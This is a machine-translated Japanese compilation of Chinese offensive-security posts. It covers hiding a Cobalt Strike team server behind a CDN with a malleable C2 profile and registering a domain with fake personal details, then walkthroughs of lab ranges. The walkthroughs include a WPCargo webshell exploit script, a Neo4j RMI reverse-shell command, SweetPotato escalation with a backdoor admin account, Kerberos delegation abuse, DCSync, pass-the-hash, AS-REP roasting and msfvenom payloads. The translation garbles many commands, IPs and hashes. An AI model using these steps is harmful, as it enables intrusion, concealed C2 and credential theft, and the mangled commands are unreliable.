システムimageに権限を向上させます

PRIV-ESC2:Krbrelayupのエスカレーション

ドメイン通常の許可ユーザーは、ドメイン内のマシンを直接(型破り、推奨)

0x5ドメイン浸透-DCテイクオーバー

2つの方法Win2016 $のグループ関係を観察し、それがドメイン管理グループにあることを発見します。 DCSYNCを使用して、DC01を直接奪う(プロセスは省略)image制約委任(型破り)

Bloodhoundはドメイン情報を収集し、分析し、制約委任imageがあることを発見します

getSt.py imageを使用した制約付き委任攻撃

DC01 image

オリジナルリンク:https://www.freebuf.com/articles/system/352237.html

ツールの準備

外国人サーバー

無料クジラ(VPN)

CS 4.4

nginx

csサーバー構成

サーバーpingが無効になっています

1.サーバーPingが無効になっている場合、ホストが非アクティブであることを特定の観点から決定できます。

2。ファイル /etc /sysctl.confを編集し、それに行を追加します。 net.ipv4.icmp_echo_ignore_all=1

次に、ミッションコマンドSYSCTL -Pにより、構成が有効になります。

vim /etc/sysctl.conf

net.ipv4.icmp_echo_ignore_all=1

sysctl -p

1049983-20230227144827835-1460586883.jpg

3。その後、pingはpingできません。このようにして、NMAPはサーバーをスキャンして生き残ることができます。

1049983-20230227144828724-887380428.png

ポートを変更

1。TeamServerファイルを編集し、50050を検索し、任意のポートに変更すると、65000に変更されます

VIM TeamServer 1049983-20230227144829610-877637485.jpg

2。保存して終了し、TeamServerを開始し、ポートが変更されたことを確認します。

./TeamServer XX.XX.XX.XX Xiao

1049983-20230227144830703-410050090.jpg

デフォルトの証明書を変更

1。CSサーバーによって生成された証明書には、CSのすべての関連特性が含まれているため、ここに変更され、置き換えられます。それを変更するには2つの方法があります。つまり、キーストアを生成してスタートアップファイルを変更します。どちらに関係なく、元のファイルCobaltStrike.storeを削除する必要があります。

方法1キーストアファイルCobaltstrike.store(推奨)

を削除します

1。新しいキーストアファイルを生成します

keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg rsa -alias baidu -dname 'cn=baidu.com、ou=サービス操作部門、o=beijing baidu netcom Science Technology Co.

keytool -importkeystore -srckeystore cobaltstrike.store -destkeystore cobaltstrike.store -deststoreType PKCS12

1049983-20230227144831550-104496929.jpg

2。証明書を確認してください

keytool -list -keystore cobaltstrike.store 1049983-20230227144832343-1207281071.jpg3。サーバーを起動して、証明書の署名が同じかどうかを確認し、確認後も証明書署名が同じかどうかを確認します。

1049983-20230227144833138-1324654750.jpg

方法2スタートアップファイルを変更

1。TeamServerは、CSSサーバーを起動する起動ファイルです。キーストアの検出など、環境検出部分があります。このパートを書く方法は、キーストアを検出できない場合、コマンドを使用して新しいキーストアを生成し、ここで生成されたコマンドを変更することです。

2。TeamServerで囲まれた部品を変更する必要があります

1049983-20230227144834432-2038016818.jpg

3.次のコンテンツに変更します。

keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg rsa -alias baidu -dname 'cn=baidu.com、ou=サービス操作部門、o=beijing baidu netcom Science Technology Co.

1049983-20230227144835487-2027217953.jpg

4.元の./cobaltstrike.store keystoreファイルを削除し、次に開始すると、新しいキーストアファイルが自動的に生成されます。

RM -RF CobaltStrike.store

cdn

で非表示にします

無料ドメイン名

を適用します

1。Freenom公式ウェブサイトを入力し、中国語を翻訳し、下部に引っ張り、開発者を選択します。

1049983-20230227144836612-1216181926.jpg

2。下部に引っ張り、今日クリックしてランダムドメインアカウントを取得します

1049983-20230227144837421-401393924.jpg

3.国際的なメールアドレスを入力し、[メールアドレスの確認]をクリックします。一時的なメールアドレスを使用することをお勧めします。

1049983-20230227144838184-1636008870.jpg

4。数秒後、メールが届きます。電子メールをクリックして、確認をクリックして、Freenom Webサイトにジャンプします。現在のWebページを翻訳した後、[開発者]をクリックします。

1049983-20230227144839006-1381884576.jpg

5.ウェブサイトを最後まで引っ張り、中国語を翻訳し、クリックしてランダムドメインアカウントをすぐに取得します。

1049983-20230227144839826-1580750123.jpg

6.次に、個人情報充填ページにご覧ください

1049983-20230227144840800-1795941883.png

7. IPで選択されたアドレスはフロリダであるため、フロリダの個人情報ジェネレーターと個人情報ジェネレーターを使用する必要があり、2つを組み合わせる必要があります。

1049983-20230227144841675-865336806.jpg 1049983-20230227144842587-547291091.jpg

8。ジェネレーターに従って情報を入力してください。記入した後、チェックしてクリックして注文を完了します。アカウントは正常に登録されています。

1049983-20230227144843337-1650934063.jpg 1049983-20230227144844087-253020840.jpg

9. Webサイトのホームページに戻り、ドメイン名を選択し、xxx.tkを入力し、[可用性]をクリックし、利用可能な場合はチェックアウトをクリックします。

1049983-20230227144844825-600153102.jpg

10. 12か月間の無料版を選択し、最後に[続行]をクリックします。

1049983-20230227144845602-1239189976.jpg

11。最終注文

1049983-20230227144846398-62631944.jpg 1049983-20230227144847138-956029880.jpg

12.ドメインを選択して、ドメイン名が生きていることを確認します。

1049983-20230227144847955-2046821606.jpg

1049983-20230227144848912-1360974677.jpg

CDN構成

1。実際、CDNパーツにはかなりのオプションがあります。ここでCloudFlareを選びました

2。CloudFlareにログインしたら、[サイトの追加]を選択します

1049983-20230227144849797-584795960.jpg

3.無料プランを選択します

1049983-20230227144850575-1858358753.jpg

4. DNSレコードを追加し、保護するIPとレコードを入力します。

1049983-20230227144851699-664827035.jpg

5. xxx.tkのDNSサーバーをCloudFlareに変更します。変更が完了した後、有効になるには一定の時間がかかります

1049983-20230227144852553-675923245.jpg 1049983-20230227144853458-201526483.jpg 1049983-20230227144854220-1629371275.jpg

6.自動HTTPSをオフにして書き直し、常にHTTPSとBroti圧縮を使用します

1049983-20230227144854987-1863074172.jpg

7. [完了]をクリックします

1049983-20230227144855745-1923565084.jpg

8.次のインターフェイスが表示され、設定が有効になります。 CloudFlareを使用して、ドメイン名の解像度操作を実行できます。

1049983-20230227144856530-714652068.jpg

9. www.xxx.tkを分析してテストします

1049983-20230227144857198-628058662.jpg

10。グローバルpingを使用して、CDNが正常に追加されたことがわかりました

1049983-20230227144858256-1387941751.jpg

11.完了するようにSSL/TLS暗号化モードを構成します

1049983-20230227144859102-1493880580.jpg

CloudFlareは証明書を生成します

1。SSL/TLS-Source Serverを見つけて、CloudFlareのDashページで証明書を作成し、それぞれパブリックキーとプライベートキー、つまりServer.PEMとServer.Keyをそれぞれ保存します。生成中に保存する必要があります。そうしないと、秘密鍵が見つからない場合があります。

1049983-20230227144859811-609125808.jpg

2。証明書を申請してキーストアをパッケージ化し、証明書をパッケージ化し、ストアファイルを生成します。

openSSL PKCS12 -EXPORT -IN SERVER.PEM -INKEY SERVER.KEY -OUT www.xxx.tk.p12 -Name www.xxx.tk -passout pass:123456

//keytoolを使用して、CS利用可能なストア形式で証明書ペアを生成します

keytool -imporekeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.xxx.tk.store -srckeystore www.xxx.tk.p12 -srcstoreType PKCS12 -SRCSTOREPOREPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASPASS

1049983-20230227144900727-1863377161.jpg

3。証明書をHTTPSリスニング方法に構成します。申請した証明書を使用する場合は、「可鍛性C2プロファイル」メソッドを使用して操作する必要があります。ここでは、cloudflare.profileを例として取ります。 CSディレクトリに生成されたキーfile.storeを配置し、cloudflare.profileを証明書構成に追加する必要があります。注意する必要があるのは、HTTPS-ティフィフィクションが証明書関連の構成であることです。他のclient.headerのホスト値は、適用したドメイン名である必要があり、他の部分は個人的な状況に従って構成する必要があります。

//上記のStore証明書をTeamServerディレクトリにコピーします

cp ./www.xxx.tk.store/opt/cs44/

//cloudflare.profileファイルを作成します

Vim CloudFlare.Profile

//cloudflare.profileファイルコンテンツ

https-certificate {

keystore 'www.xxx.tk.store'を設定します。

パスワード「123456」を設定します。

}

http-stager {

set uri_x86 '/api/1';

set uri_x64 '/api/2';

クライアント {

ヘッダー「ホスト」 'www.xxx.tk';}

サーバー{

出力{

印刷;

}

}

}

http-get {

set uri '/api/3';

クライアント {

ヘッダー「ホスト」 'www.xxx.tk';

メタデータ{

base64;

ヘッダー「クッキー」;

}

}

サーバー{

出力{

印刷;

}

}

}

http-post {

set uri '/api/4';

クライアント {

ヘッダー「ホスト」 'www.xxx.tk';

id {

uri-append;

}

出力{

印刷;

}

}

サーバー{

出力{

印刷;

}

}

} 4。構成ファイルに問題があることを確認してください。以下は、検証のための構成に成功しています(現在のディレクトリにはcobaltstrike.jarが必要です)

//新しいc2lintファイルを作成します

VIM C2LINT

//c2lintファイルコンテンツ

Java -xx:parallelgcthreads=4 -xx:+useparallelgc -classpath ./cobaltstrike.jar c2profile.lint $ 1

//構成ファイルに問題があるかどうかを確認します

./c2lint cloudflare.profile

命令

Brute4roadは、中程度の難易度のある射撃範囲環境です。この課題を完了することで、プレイヤーはプロキシ転送、イントラネットスキャン、情報収集、特権エスカレーション、およびイントラネットの浸透における水平方向の動きの技術的方法を理解し、ドメイン環境のコア認証メカニズムの理解を強化し、ドメイン環境の浸透における興味深い技術的ポイントを習得するのに役立ちます。射撃場には4つのフラグがあり、さまざまなターゲットマシンに配布されています。

テクノロジー

Redis、Brute Force、SMB、特権標高、ドメイン浸透

最初のフラグ

Redis Master-Slave Copy RCE

fscan入学IPをスキャンします。次の入学IPが変更された場合、それは再起動環境のために、プロセスに問題はありません。

1049983-20230307110358384-1535054715.png不正なレディスが見つかり、書き込み計画のリバウンドシェルがテストされました。許可がないことが促されました。 Redis Master-SlaveコピーRCEを正常にコピーします

1049983-20230307110359449-350645622.png

suidエスカレーション

ユーザーはRedisの権利を引き上げる必要があります。 SUIDを使用して権利を上げます。次のコマンドを実行できます。詳細については、suidを表示してLinuxシステムの権利を上げることができます1

/-user root -perm -4000 -print 2/dev/nullを見つけます

find/-perm -u=s -type f 2/dev/null

/-user root -perm -4000 -exec ls -ldb {}を見つける;1049983-20230307110400345-2096403480.pngBase64には、SUID許可があります。 Base64を介してローカルファイルを読み取り、最初のフラグを取得するために出力できます

base64 '/home/redis/flag/flag01' | base64 - デコード1049983-20230307110401155-925199797.png

2番目のフラグ

wpcargo不正rce

ポータルIPのサーバーにプロキシを設定し、イントラネットスキャンを実行し、wegetを介してNPCとFSCANをアップロードします

pingを開始します

(ICMP)ターゲット172.22.2.18は生きています

(ICMP)ターゲット172.22.2.34は生きています

(ICMP)ターゲット172.22.2.3は生きています

(ICMP)ターゲット172.22.2.7は生きています

(ICMP)ターゲット172.22.2.16は生きています

[*] ICMP Alive Hosts Len IS: 5

172.22.2.2.16:445オープン

172.22.2.2.34:445オープン

172.22.2.3:445オープン

172.22.2.2.183360445オープン

172.22.2.16:139オープン

172.22.2.34:139オープン

172.22.2.3:139オープン

172.22.2.34:135オープン

172.22.2.16:135オープン

172.22.2.18:139オープン

172.22.2.3:135オープン

172.22.2.16:80オープン

172.22.2.3:88オープン

172.22.2.2.18:22オープン

172.22.2.7:80オープン

172.22.2.7:22オープン

172.22.2.2.733606379オープン

172.22.2.16:1433オープン

172.22.2.7:21オープン

172.22.2.2.18:80オープン

[*] Alive Ports Len IS: 20

Vulscanを開始します

[+] NetInfo:

[*] 172.22.2.16

[ - ] mssqlserver

[ - ] 172.22.2.16

[*] 172.22.2.34 Xiaorang \ client01

[*] 172.22.2.16(Windows Server 2016 Datacenter 14393)

[+] NetInfo:

[*] 172.22.2.3

[ - ] DC

[ - ] 172.22.2.3

[*] webtitle:3333http://172.22.2.16 code:404 len:315 title:notが見つかりました

[+] NetInfo:

[*] 172.22.2.34

[ - ] client01

[ - ] 172.22.2.34

[*] webtitle:333333333333:200 len:4833 title:welcome to centos

[*] 172.22.2.16 Xiaorang \ MSSQLSERVER WINDOWS SERVER 2016 DATACENTER 14393

[*] 172.22.2.3 [+] DC Xiaorang \ dc Windows Server 2016 Datacenter 14393

[*] 172.22.2.18ワークグループ\ ubuntu-web02

[*] 172.22.2.3(Windows Server 2016 Datacenter 14393)

[+] FTP: //172.22.2.2.73360213360Anonymous

[-]パブ

[*] webtitle:333http://172.22.2.18 code:200 len:57738 title:

プロキシチェーンWPSCAN -URL http://172.22.2.18 1049983-20230307110402168-1038472832.png WPCargoプラグイン、関連する脆弱性の検索、および不正なRCEの脆弱性があることがわかります

https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a

1049983-20230307110402965-813650361.pngImport sys

binasciiをインポートします

リクエストをインポートします

#これは、ピクセルとして扱われ、PNGを使用して圧縮される魔法の弦です

#アルゴリズム、原因は?=$ _ get [1]($ _ post [2]); PNGファイルに書き込まれます

ペイロード='2F49CF97546FC24152B216712546F112E29152B1967226B6F5F50'

def encode_character_code(c: int):

return '{:08b}'。形式(c).replace( '0'、 'x')

text='' .join([encode_character_code(c)for c in binascii.unhexlify(payload)])[1:]

Destination_url='http://172.22.2.18/'

cmd='ls'

#1/11スケールで、 '1はシングルホワイトピクセルとしてエンコードされます' xはシングルブラックピクセルとして。

requests.get(

F '{Destination_url} wp-content/plugins/wpcargo/include/barcode.php?text={text} sizeFactor=.090909090909Size=1filepath=////www/html/webshell.php'

))

#ウェブシェルをアップロードしました - 次に、それを使用してコマンドを実行しましょう。

print(requests.post(

f '{Destination_url} webshell.php?1=system'、data={'2': cmd}

).content.decode( 'ascii'、 'agnore'))shellを生成します

http://172.22.2.18/webshell.php?1=システム

post:2=whoami 1049983-20230307110403759-1226503060.pngアリの剣に接続し、タイプに注意を払い、CMDlinuxを選択します(これは多くの時間を無駄にし、ツールに精通していません)

1049983-20230307110404544-1755873580.pngデータベースの構成と接続を表示します

1049983-20230307110405448-1709834423.png 2番目のフラグを見つけます

1049983-20230307110406190-537113638.png

3番目のフラグ

パスワードを保存するためのテーブル

1049983-20230307110407012-1016357418.png

mssqlserver rce

データベースに入ったばかりのパスワードテーブルを使用してMSSQLを爆破してパスワードを取得します

1049983-20230307110407761-264141218.png倍数を使用して接続します。database.utilization.toolsツール

最初にOLEオートメーション手順コンポーネントをアクティブにしてから、SweetPotato.exeをアップロードして権限を高め、システムの許可を取得します

1049983-20230307110408557-1385769716.pngC:/users/mssqlserver/desktop/sweetpotato.exe -a 'netstat -ano' 1049983-20230307110409338-1429948219.png発見3389はオープン、直接ユーザー、リモート接続を直接追加します

ネットユーザーdevyn admin123 /add

ネットローカルグループ管理者devyn /add1049983-20230307110410189-1297694899.pngリモート接続が成功しました

1049983-20230307110411000-98762776.png 3番目のフラグを取得します

1049983-20230307110411923-340307306.png

‍ 4番目のフラグ

ドメイン浸透

Mimikatzを使用して、ドメインユーザーのハッシュをクロールします

1049983-20230307110412739-899773243.pngドメインユーザーから取得したハッシュは78A2811AABD79D0DA3CEF84903CA3E6です。

制約付き委任攻撃

MSSQLServerマシンは、DC LDAPおよびCIFSサービスへのバインディング委任で構成されています

まず、Rubeusを介してMssqlServerのマシンアカウントMSSQLSERVERのTGTを申請します。実行後、Base64暗号化されたTGTチケットを取得します。

rubeus.exe asktgt /user:mssqlserver $ /rc4:78a2811aabd779d0da3cef84903ca3e6 /domain:xiaorang.lab /dc:dc.xiaorang。 S4U2自己拡張ドメイン管理者管理者を表して、ドメインコントロールLDAPサービスのチケットをリクエストし、結果のチケットをメモリに渡す

rubeus.exe S4U /ImpersonateUser:ADMINISTRATOR /MSDSSPN:LDAP/DC.XIAORANG.LAB /DC:DC.XIAORANG.LAB /PTT /Ticket:Doifmjccbzagawibbaedagewooieqzccbkdhggsjmiien6adagefoq4bdfhjqu9squ5hlkxbqqihmb+gawibaqymbybbmtyynrndbsmeglh B3JHBMCUBGFIO4IEYZCCBF+GAWIBEQEDAGECOOIEUQBE3JOMEUPBK3C69YAGUYDCLGYHRYVJZG4ZXERWUSWVFS0KZ+4Q2UTCKGQYW3GLS5SF0/MJ0FHIL1V 8u5wrlpgr5hblyugn+g1zmv3uitxo7qobxh0lr0duukundpoxdpdx26liz5/xddfvz4xtymkdqqrxgbwqggjh1cp/woy4u4txjo+l8cfq424kgdb3n/rjyrn y54m8qhl/smhg3ppmgtt2feij5jag+qdpm/r/xuoijhnzsfcvi2xilgqpf374jubih99utzvlqroshz9qljzlbseaqen9ctu01tmnnn4acrz4mqmv1mmyv9scfe jnqbcpgds+zvesrt53dwfotrg00o4jq6rgr9dr/6zmkc1w/kfwsxdf1b/h3homm7hzk0qlfsbdtq8i1e2ffdz5kyovbbtae6iraizzk7scds4ro9rrsdl6bna V25nkjce6j9dj4V56ua1Gh+F+JQfAHbE8zLNt9OmseJs6IGj/cxKEckbhcggGhQhL3c6k1FKZOTXY1PKR8zweZauWgK7FXiDLEP1h6YwP2S/frDmKRb5mCdBU UQBZSA/6BBMANXVFKX1B8XVIT0RQ1I/PLKS9LKWTKYUHJD67Z6XDDRN7IWR0FSTYQGUVHPN391L02ZNUJRK5/7JYOYKWHQ3SB/XRZC4YGGIMMGRZ0FQRQ+ hrbqbtunr2/i4hgywdlubsevz5qb1kxcebrkwuchhpgktsdbyz30tnpa0w2qwu8qj8zkks04r2hj91lcpudabrjhjff/und+++fhcfylau0xzmur8ekua2lcv 0FEF2IGVIU38BCRVUJFGKH423FGPSR4XOM8/8LNWHU+KAAIGSWSER8UGR8UGR8JIDVJTMGF5SCFOQDM+KVJ5O0ZNETTUHJHCVMADLI1QTQ5WJQRIEA6U4D6BYSHI 43IPS6SO8HECSB/03FPOKR/SRUYVEALW3IAWAJTAPTW/SRZUELXEEMVG2AADTL1 QXNW04A04A04A04A04A04A04A04A04AMI3PXJVSYCJYVIDWAZTHGBQOM3FHLZ4ZPZP blfbkagxqr624yo5yiajbl9/dp4m7iauibo7kawcfka1iafkygdfgaxudab52dt72jw0/qpelp08rordlty8irpjkazhssguvyuky07lr+ck95mekfdnl8cw AKW0MB8F92N4G4OFWQBUJK/479LYMZBDG38IWHHV/MLIACHLHM5NAZAY0JXJ2CEQIVSAFLFM7GP23V55HJ/T+EKT0ZD3EIJNHUWBVVVVVVVVVVVVVVVVVVVVVVVVVVVVHYEVKKCFJZGRALLQXA ptmkhhgila+wtkvcxpqx6qx8b40pg9r1rr4zq9bupb4jnnqwhe5sigpurr02xv5fuiii9qc5 //buhxceoxi0tfasrbghayna/tlrvak drqqrpitm1en79jsnw6adh1curfjr ++ ps6zyx6yqk3dlj5piiy2oavlpipcn1zmbz+jgdowgdegawibakkbzwsbzh2bytcbxqcbwzcbwdcbvaabmgmgawibf6 esbbbaxglfzni5hheocpajfdneoq4bdfhjqu9squ5hlkxbqqqizmbegawibaaeqma4bde1tu1fmu0vsvkvsjkmhawuaqoeaakurga8ymdiymtymizm1q mergpmjaymjewmjimjiymznapxeydziwmjixmta0mtiymjmzwqgogwxysufpukfukfory5mqukpitafoamcaqkkhgdawgwzrcmj0z3qbdhhpyw9yw5nlmxhyg==1049983-20230307110414821-1062055162.png LDAPサービスには、ドメイン内のユーザーのハッシュをエクスポートするDCSYNC許可があります

mimikatz.exe 'lsadump:3360dcsync /domain:xiaorang.lab /user:administrator' exit 1049983-20230307110415741-286475972.png

wmi水平

ドメイン管理のハッシュを取得した後、WMIサービスを介してドメインコントロールにログインできます。

Python wmiexec.py -hashes 00000000000000000000000000000000000000000000000000000033601A19251FBD935969832616366AE3FE62管理者@172.222.2.3 1049983-20230307110417054-2127057906.png 4番目の旗を入手する

1049983-20230307110417858-348981547.png

別の方法

ハッシュによってドメイン制御を直接取得できます。ここでは、CrackMapexecを使用してPTHを実行します

プロキシチェーンCrackmapexec SMB 172.22.2.3 -U Administrator -H1A19251FBD935969832616366666666666662 -D Xiaorang.lab -x 'タイプユーザー\管理者\ Administrator \ flag \ flag04.txt' https://zhuanlan.zhihu.com/p/581577873

命令

時間は、中程度の難易度を持つ射撃場環境です。この課題を完了することで、プレイヤーはプロキシ転送、イントラネットスキャン、情報収集、特権エスカレーション、およびイントラネットの浸透における水平方向の動きの技術的方法を理解し、ドメイン環境のコア認証メカニズムの理解を強化し、ドメイン環境の浸透における興味深い技術的ポイントを習得するのに役立ちます。射撃場には4つのフラグがあり、さまざまなターゲットマシンに配布されています。

テクノロジー

Neo4J、Kerberos、特権の昇格、ドメイン浸透

最初のフラグ

屋外IP情報コレクション

Infoscanを開始

(ICMP)ターゲット'39 .98.236.25 'は生きています

ICMP AliveホストLen IS: 1

39.98.236.25:22オープン

39.98.236.25:1337オープン

39.98.236.25:7474オープン

39.98.236.25:7473オープン

39.98.236.25:7687オープン

39.98.236.25:3555オープン

Alive Ports Len IS: 6

Vulscanを開始します

完成0/6 [ - ] Webtitle http://39.98.236.25:7473 GET 'http://39.98.236.25:7473'3360 Net/HTTP: HTTP/1.Xトランスポート'\ x15 \ x03 \ x03 \ x00 \ x02 \ x02p'

[*] webtitle:33333399.98.236.25:7474 code:200 len:145 title3360none

[*] webtitle:333333399.98.236.25:7687 code:400 len3:0 title:none

[*] webtitle:3333333939.98.236.25:7687 code:400 len3:0 title:none

6/6を完了しました

スキャンエンド

neo4j不正rce

NEO4Jは、オープンソースグラフデータベース管理システムです。

NEO4J 3.4.18以前には、Neo4Jシェルインターフェイスが有効になっている場合、攻撃者は任意の方法をRMIプロトコルを介して不正なアイデンティティとして呼び出すことができます。この脆弱性はRMIの劣るものではないため、Javaバージョンの影響はありません。 Neo4J 3.5以降のバージョンでは、Neo4Jシェルはサイバーシェルに置き換えられました。

https://github.com/zwjjustdoit/cve-2021-34371.jar

Java -jar Rhino_gadget.jar Rmi3360 //39.98.236.2533601337 'Bash -C {echo、ymfzacatasa+jiavzgv2l3r . nc81ntu1ida+jje=} | 1049983-20230307110559021-177737673.pngバウンスシェル

1049983-20230307110559740-99216481.pngフラグを見つけます

1049983-20230307110600465-112496222.png最初のフラグを取得します

1049983-20230307110601246-816106515.png

2番目のフラグ

イントラネット浸透

アップロードエージェントとFSCAN

Infoscanを開始します

完了0/0 IP4:ICMP 0.0.0.0: Socket:操作は許可されていません

runicmp2を試してみます

ICMPパケットを送信できない現在のユーザー権限

pingを開始します

(ICMP)ターゲット172.22.6.12は生きています

(ICMP)ターゲット172.22.6.25は生きています

(ICMP)ターゲット172.22.6.38は生きています

(ICMP)ターゲット172.22.6.36は生きています

[*] ICMP Alive Hosts Len IS: 4

172.22.6.25:445オープン

172.22.6.12:445オープン

172.22.6.25:139オープン

172.22.6.12:139オープン

172.22.6.25:135オープン

172.22.6.12:135オープン

172.22.6.38:80オープン

172.22.6.36:22オープン

172.22.6.38:22オープン

172.22.6.36:7687オープン

172.22.6.12:88オープン

[*] Alive Ports Len IS: 11

Vulscanを開始します

[+] NetInfo:

[*] 172.22.6.25

[ - ] Win2019

[ - ] 172.22.6.25

[+] NetInfo:

[*] 172.22.6.12

[ - ] dc-progame

[ - ] 172.22.6.12

[*] 172.22.6.12 [+] DC Xiaorang \ DC-Progame Windows Server 2016 DataCenter 14393

[*] 172.22.6.25 Xiaorang \ Win2019

[*] 172.22.6.12(Windows Server 2016 Datacenter 14393)

[*] webtitle:3333333333333:200 len:1531 title:バックエンドログイン

[*] webtitle:33333333333333333363633607687 code:400 len:50 title:none

11/11

SQL注入

に記入してくださいhttp://172.22.6.38にアクセスしてください。これはデータパケットをクロールするログインページです

post /index.php http /1.1

HOST: 172.22.6.38

Content-Length: 30

Cache-Control: Max-age=0

アップグレード-Insecure-Requests: 1

Origin: http://172.22.6.38

Content-Type:アプリケーション/x-www-form-urlencoded

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/107.0.0.0 safari/537.36

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=b3; q=0.9

参照: http://172.22.6.38/

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9、ZH-TW; Q=0.8

Connection:閉じます

username=adminpassword=1111111 sqlmapを使用したテストインジェクション(プロセス省略)

sqlmap -r 1.txt - dump -t oa_f1agggg -d oa_db -batch 2番目のフラグを取得します

1049983-20230307110602079-2019239499.png

OA_ADMINテーブルとOA_USERSテーブルもあります。これは、ユーザーテーブルに500のユーザー名を辞書Username.txtに収集します

1049983-20230307110603044-594852005.png

‍‍ frag

ドメインユーザー列挙

Kerberos 'As-Req認証で、CNAME値のユーザーが存在しない場合、パッケージはKDC_ERR_C_PRINCIPAL_UNKNOWNをプロンプトします。

https://github.com/ropnop/kerbrute

proxychains ./kerbrute_linux_amd64 userenum - dc 172.22.6.12 -d xiaorang.lab username.txt -t 10kaliのプロキシ実行は成功しておらず、結果も表示されません。ファイルはエントリマシンに渡され、結果はリモート実行後にのみ取得されます

1049983-20230307110604060-1494380176.png合計74人のユーザーがいます。

1049983-20230307110604911-275497764.png

as-reproasting

ドメインユーザーの場合、オプションがKerberosの事前認定を必要としない場合(Kerberosの事前識別は必要ありません)、AS-REQリクエストをドメインコントローラーの88ポートに送信し、受信したAS-REPコンテンツを再結合し、「Kerberos 5 As-Rep Etype 23」の形式にスプライスできます。次に、HashcatまたはJohnを使用してそれをクラックし、最終的にユーザーのPlantextパスワードを取得できます。

事前に認識されていないアカウントを見つけます

proxychains python3 getnpusers.py -dc -ip 172.22.6.12 -usersfile user.txt xiaorang.lab/1049983-20230307110605674-1336457543.png

2つのアカウントを入手してくださいwenshao@xiaorang.lab、zhangxin@xiaorang.lab

$ KRB5ASREP 23 $ 23 $ wenshao@xiaorang.lab@xiaorang.lab3360b6c410706b5e96c693b2fc61ee1064c3 $ 2dc9fe784e79973333f30c6bc422222222222222222222222BBA94Be7022222222222222e 8C11359FD92597E253752F4E61D2D18A83F19B5C9DF4761E485853A3D879BCF7A270D 6F846683B811A80DDA3809528190D7F058A24996AFF13094FF9B32C0E2698F6D639B4D 237A06D13C309CE7AB428656B79E582609240B01FB5CD47C91573F80F846DC483A113 A86977486CECCE78C03860050A81EE19921D3500F36FF39FA77EDD9D5614CF4B9087D3 E42CAEF68313D1BB0C4F6BC5392943557B584521B305F61E418EB0F6EB3BF3339404892 DA55134CB4BF828AC318FE00D68D1778B7C82CAF03B65F1938E54ED3FA51B63CDB29994

$ KRB5ASREP 23 $ 23 $ ZHANGXIN@XIAORANG.LAB@XIAORANG.LAB:971802B84CE99050AD3C5F49D11FD0B7 $ 6C1BE075C3CF2A7695529DE2E2EBB39C3C3C3C3C3C3C3C39C5C5C7E5326C926C91DAC26C926C926C91DAC26C9 9892F76BEFE52C860E4E1E2FF6537A5765A6BCB6B8BACA792D60765AC0BBE1B3C5E59F3 EC51B7426636A437D5DF12130EB68D9B17EF431455415671C7331A17CE823E28CC41167 7BED341D3FCEEFC3451B8B232EA6039661625A5C793E30C4D149B2ED9D2926E9D825B38 28744EBCE69E47746994C9A749CEEB76C560A1840BC74D2B9F301BB5B870C6805915163 54460DAB2238E7827900ED80320DD3A6F46874B1BC8A3A68AEA7BD11D0683EC94103F59D9511691090928E98D0D8978F51E71FD9DB0067FA0928E928E98E98D0D8978F510FATATATATATATATATAITA Hashcatを使用して復号化します

Hashcat -M 18200 - Force -a 0 '$krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:b6c410706b5e96c693b2fc61ee1064c3$2dc9fbee784e7997333f30c6bc4298ab5752ba94be7022e807af4 18C11359FD92597E253752F4E61D2D18A83F19B5C9DF4761E485853A3D879BCF7A270D 6F846683B811A80DDA3809528190D7F058A24996AFF13094FF9B32C0E2698F6D639B4D 237A06D13C309CE7AB428656B79E582609240B01FB5CD47C91573F80F846DC483A113A 86977486CECCE78C03860050A81EE19921D3500F36FF39FA77EDD9D5614CF4B9087D3E 42CAEF68313D1BB0C4F6BC5392943557B584521B305F61E418EB0F6EB3BF3339404892D A55134CB4BF828AC318FE00D68D1778B7C82CAF03B65F1938E54ED3FA51B63CDB2994 ' Rockyou.txt 1049983-20230307110606793-1960228635.pnghashcat -m 18200 - force -a 0 '$ KRB5ASREP $ 23 $ $ ZHANGXIN@Xiaorang.lab@Xiaorang.LAB:971802B84CE999050AD3C5F49D11FD0B7 $ 6C1BE075C3C3C3CF2A76955529DE2EBBF39C5C5EC7E5326C926C91891DAC7E5326C91891DAC7E51891DAC7E5326C91891DAC7E526C9189189189189 b239892f76befe52c860e4e1e2ff6537a5765a6bcb6b8baca792d60765ac0bbe1b3c5e 59F3EC51B7426636A437D5DF12130EB68D9B17EF431455415671C7331A17CE823E28CC 411677BED341D3FCEEFC3451B8B232EA6039661625A5C793E30C4D149B2ED9D2926E9D 825B3828744EBCE69E47746994C9A749CEEB76C560A1840BC74D2B9F301BB5B870C680 591516354460DAB2238E7827900ED80320DD3A6F46874B1BC8A3A68AEA7BD11D0683EC 94103F59D9511691090928E98D0D8978F511E71FD9DB0067FA0D450C120F3726918D7 '' Rockyou.txt 1049983-20230307110607685-1928545708.pngこの方法では、2つのアカウントとパスワードを取得しました

zhangxin@xiaorang.lab/strawberry

wenshao@xiaorang.lab/hellokitty

ドメイン環境分析

ドメインアカウントでログイン172.22.6.25、データ収集のためにSharphoundをアップロード

1049983-20230307110608564-1306420426.pngSharphound.exe -Cすべてのエクスポートファイルには複数のJSonが含まれており、ドメイン内のさまざまな関係を節約します

1049983-20230307110609478-1506458586.pngデータをブラッドハウンドにアップロードし、分析をクリックして、ドメイン管理者への最短パスを見つけます

ドメイン管理者への最短のパスを見つける厚から薄いまでのパスは、XXがXXに持っている権限または関係です。したがって、パスは次のとおりです

1049983-20230307110610336-1467436480.png Bloodhoundから、ユーザーYuxuanを行うために必要な次のステップがわかることがわかります

Windows自動ログイン

Hassession:ユーザーがコンピューターでセッションを行っている場合、資格情報はメモリに保持され、YuxuanがWin2019にログインしたことを示します

多くのユーザーは、自動的にログインするコンピューターのセットアップに使用されており、MSFを使用してユーザー名とパスワードを自動的にログインすることができます。

ポジティブシェルになります

msfvenom -p Windows/MeterPreter/bind_tcp -f exe -o shy.exeその後、ターゲットマシンWin2019(172.22.6.25)にアップロードして実行して実行します

